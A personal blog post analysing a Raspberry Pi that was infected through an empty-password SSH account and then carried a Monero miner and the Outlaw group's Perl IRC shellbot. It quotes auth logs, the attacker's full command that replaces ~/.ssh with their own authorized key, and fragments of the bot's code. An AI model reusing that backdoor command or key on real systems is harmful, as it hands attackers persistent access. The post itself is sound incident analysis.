Investigating a Backdoor.SH.SHELLBOT.AA Infection

January 22, 2020 ❖ Tags: writeup, reverse-engineering, linux, security

It's typical for the younger sibling to look up to and mimic the older sibling, which is apparently what happened while I was away at school. I'm self-hosting a few services off of a Raspberry Pi B+ back at my parents' house, and when my brother got a Pi of his own, he decided that he also wanted to use it for self-hosting. Unfortunately, he doesn't know much about security, and unintentionally did me the favor of setting up a honeypot.1

I was home for winter break last week and my dad called me over to tell me that he'd gotten an email from our ISP. When he said that, I thought it was related to the now defunct Copyright Alert System, but this time, it was a legitimate abuse complaint.

Date: January 17, 2020 at 12:30:43 PM EST
Subject: [REDACTED] Unauthorized traffic originating from your IP [REDACTED]

Dear Verizon Online Customer,

We have received 51 complaints since 01/15/2020

On 01-17-2020, your account was reported to have been used in an attempt to gain
unauthorized access to another system, or to transmit malicious traffic to
another Internet user.

It is possible your system may have been infected by a virus or a botnet that is
causing this action.

Report and/or Logs:

Note: Local timezone is +0100 (CET)
Jan 17 10:23:39 [REDACTED] sshd[3230]: Invalid user user from [REDACTED]
Jan 17 10:23:39 [REDACTED] sshd[3230]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=[REDACTED]
Jan 17 10:23:41 [REDACTED] sshd[3230]: Failed password for invalid user user from [REDACTED] port 32776 ssh2
Jan 17 10:23:41 [REDACTED] sshd[3230]: Received disconnect from [REDACTED] port 32776:11: Bye Bye [preauth]
Jan 17 10:23:41 [REDACTED] sshd[3230]: Disconnected from [REDACTED] port 32776 [preauth]
Jan 17 11:33:28 [REDACTED] sshd[17364]: Invalid user nitesh from [REDACTED]
Jan 17 11:33:28 [REDACTED] sshd[17364]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=[REDACTED]
Jan 17 11:33:30 [REDACTED] sshd[17364]: Failed password for invalid user nitesh from [REDACTED] port 60306 ssh2
Jan 17 11:33:30 [REDACTED] sshd[17364]: Received disconnect from [REDACTED] port 60306:11: Bye Bye [preauth]
Jan 17 11:33:30 [REDACTED] sshd[17364]: Disconnected from [REDACTED] port 60306 [preauth]
Jan 17 11:59:21 [REDACTED] sshd[22398]: Invalid user elastic from [REDACTED]

Please immediately ensure your anti-virus software is properly updated, and then
run a full-system virus scan on your computer(s). Follow the removal
instructions for any viruses found, as indicated by your anti-virus software.

Additional information and removal instructions about viruses and your
anti-virus software may be found on the website of your anti-virus software

It is difficult to verify the presence of an exact virus which has infected a
computer without a full system scan with up-to-date anti-virus software.
Therefore, you may wish to contact the Technical Support Department of your
anti-virus software manufacturer, should you need assistance with this process,
or have any questions or concerns about a possible virus infection.

Please be aware of the importance in taking immediate actions to stop further
virus related activity. If you are unable to take immediate action, it would be
advisable to remove the computer(s) which may be infected from any networks and
the Internet connection until it has been properly cleaned. For DSL customers,
this may be easily done by unplugging the network cable that connects the
computer to the DSL modem, or the telephone line that connects the DSL modem to
the telephone jack.

Verizon Policy:

If you do not take appropriate action to resolve this issue, we will be forced
to take further action, which could include the suspension of your service until
the issue is resolved, in order to ensure the safety of our network, and the
safety of other Internet users.

Please carefully review these agreements, which can be viewed at:


Any future violation will result in further action being taken, up to, and
including, the termination of your service.


Verizon Online Abuse

We ran through a couple of possibilities for the source before my dad pulled up the list of ports open on our router. There were a few we didn't remember setting up, and they were mapped to an IP we didn't recognize. That's when my brother came down and, after some interrogation, spilled the beans.

"Port 24 is SSH for my Raspberry Pi."

"Did you… change the default login credentials?"


"Go unplug it right now."

I told him to give me the SD card so I could pull the malware off of it, and to wipe it clean before turning the Pi on again.

The first place I decided to look was /var/log/auth.log.

What the hell? There are entries from an hour ago!

Jan 18 10:43:23 raspberrypi sshd[819]: Failed password for pi from [REDACTED] port 59468 ssh2
Jan 18 10:43:41 raspberrypi sshd[819]: Failed password for pi from [REDACTED] port 59468 ssh2
Jan 18 10:43:44 raspberrypi sshd[819]: Accepted password for pi from [REDACTED] port 59468 ssh2
Jan 18 10:43:44 raspberrypi sshd[819]: pam_unix(sshd:session): session opened for user pi by (uid=0)
Jan 18 10:43:44 raspberrypi systemd-logind[375]: New session c2 of user pi.
Jan 18 10:43:44 raspberrypi systemd: pam_unix(systemd-user:session): session opened for user pi by (uid=0)
Jan 18 10:51:50 raspberrypi sudo:       pi : TTY=pts/0 ; PWD=/var/log ; USER=root ; COMMAND=/usr/bin/apt-get install denyhosts
Jan 18 10:51:50 raspberrypi sudo: pam_unix(sudo:session): session opened for user root by pi(uid=0)
Jan 18 10:52:09 raspberrypi sudo: pam_unix(sudo:session): session closed for user root
Jan 18 11:17:01 raspberrypi CRON[1096]: pam_unix(cron:session): session opened for user root by (uid=0)
Jan 18 11:17:02 raspberrypi CRON[1096]: pam_unix(cron:session): session closed for user root

I asked my brother about it, and as it turns out, he didn't heed my advice to unplug it immediately.2 Even if installing denyhosts didn't do anything, it did leave some extra log trails for me to look at.

2020-01-18 10:52:06,162 - denyhosts   : INFO     new suspicious logins: ['teamspeak - [REDACTED]']

Grepping for "Accepted", we can find the time of the initial breach. Well… assuming that the logs up to this point haven't been tampered with.

Jan 15 09:36:10 raspberrypi sshd[2253]: Accepted password for teamspeak from [REDACTED] port 49002 ssh2
Jan 15 09:36:10 raspberrypi sshd[2253]: pam_unix(sshd:session): session opened for user teamspeak by (uid=0)
Jan 15 09:36:10 raspberrypi systemd-logind[369]: New session c7 of user teamspeak.
Jan 15 09:36:10 raspberrypi systemd: pam_unix(systemd-user:session): session opened for user teamspeak by (uid=0)
Jan 15 09:36:20 raspberrypi passwd[2288]: pam_unix(passwd:chauthtok): password changed for teamspeak
Jan 15 09:36:20 raspberrypi passwd[2295]: pam_unix(passwd:chauthtok): authentication failure; logname= uid=1001 euid=0 tty= ruser= rhost=  user=teamspeak
Jan 15 09:42:02 raspberrypi sshd[2355]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=[REDACTED]  user=teamspeak
Jan 15 09:42:04 raspberrypi sshd[2355]: Failed password for teamspeak from [REDACTED] port 56002 ssh2
Jan 15 09:42:05 raspberrypi sshd[2355]: Received disconnect from [REDACTED] port 56002:11: Bye Bye [preauth]
Jan 15 09:42:05 raspberrypi sshd[2355]: Disconnected from [REDACTED] port 56002 [preauth]
Jan 15 09:42:05 raspberrypi sshd[2253]: pam_unix(sshd:session): session closed for user teamspeak

So my brother wasn't compromised by the default password for 'pi' that comes with NOOBS. His server was compromised because the account for running his TS3 server had an empty password. At this point, I had what I thought was a pretty clever idea for finding whatever files the attacker might've dropped.

jakob@Epsilon /tmp/image $ find . -newermt $(date +%Y-%m-%d -d '7 days ago') -type f -type executable -print


The a directory seems to contains scripts for setting up a cryptocurrency miner. a/a sets MSR values and creates a/upd, which essentially just runs a/run. a/stop hamfistedly kills all cron jobs, a/init-0 is a "script for killing cryptocurrency miners in a Linux enviornment [sic]", and a/run runs either anacron or cron depending on $ARCH. This is pretty suspicious, especially since there aren't any crontabs.

jakob@Upsilon /tmp/image/home/teamspeak/.bashtemp/a $ strings anacron | grep -i monero
            "coin": "monero",
            "coin": "monero",
            "coin": "monero",

Surprise, surprise. It isn't actually cron. It's a cryptominer in disguise.

a/run only checks for 'x86_64' and 'i686', which I guess this means that it didn't do anything with my brother's ARM machine. But my brother's response when I mentioned this to him was "that explains why it was burning hot when I unplugged it". So maybe it was doing some mining. The world may never know.

The b directory is a little more interesting. b/a creates b/sync, which, like a/upd, essentially just runs b/run. b/stop hamfistedly kills a bunch of processes: rsync, perl, nginx, ecryptfx, and xmr (Monero?). b/run is where the fun starts. It's a shell script that runs some Perl code, which I'll get to in a minute, but it overwrites ~/.ssh to set up a backdoor.

cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh

If you do a search for that key, you'll come up with results from other people who've been infected.

As for the Perl code, it's a base64 blob echoed into base64 --decode, which is then piped into perl. Decoding it reveals

eval unpack u=>q{_"FUY("1P<F]C97-S;R`]("=R<WEN8R<["@HD<V [...]

Uh, okay. We can get replace eval with print and see what it's running.

my $processo = 'rsync';

$servidor='[REDACTED]' unless $servidor;
my $porta='[REDACTED]';
my @canais=("[REDACTED]");
my @adms=("A","X");
my @auth=("localhost");

my $linas_max=6;
my $sleep=3;


Surprisingly, it's not obfuscated beyond the initial packing. I've made it available here, albeit with anything that could identify the botmaster redacted.3 I believe the language here is Portuguese. The code disguises itself by setting argv to "rsync" and forking into the background. It then connects to an IRC C&C server and waits for commands.

This is all pretty bush-league, so someone's probably analyzed it before me. At this point, I threw b/run at VirusTotal. Here are the results. Doing a search for "Backdoor.SH.SHELLBOT.AA" comes up with TrendMicro's Threat Encyclopedia page on it. Everything lines up with what I've figured out through my cursory reverse engineering, so I think we've found our culprit. I did a search for "Outlaw hacking group"4 and came across an article on ZDNet and an article on the Trend Micro blog about this particular campaign.

It's worth noting is that the shellbot doesn't have any means of propagation programmed into it. It can scan ports and run shell commands sent by the botmaster, but it doesn't have anything specific to SSH bruteforcing. We checked the logs on my dad's server when we realized all of this, and sure enough, there were login attempts from my brother's machine.


So the bot definitely does try to propagate through the local network, even if there isn't anything in the Perl code that indicates that it would.

This is why I recommend only using public key authentication for SSH, and disabling password-based authentication in the daemon configuration files.



Something I'd been meaning to do for a while! I thought it'd be fun to have some in-the-wild malware samples to play with.


Still not sure what motivated the choice of denyhosts. If I were in his situation and too stubborn to just unplug the damn thing, I'd run w to figure out which pts the attacker is on and kill the associated process.


For your own safety ;) And so as not to ruin my own attempts at monitoring this botnet. If you do want to do some monitoring, shoot me an email. We could work together.


Which I should say is an excellent choice of name, provided your goal is to make it impossible to use a search engine to find out anything about your group.

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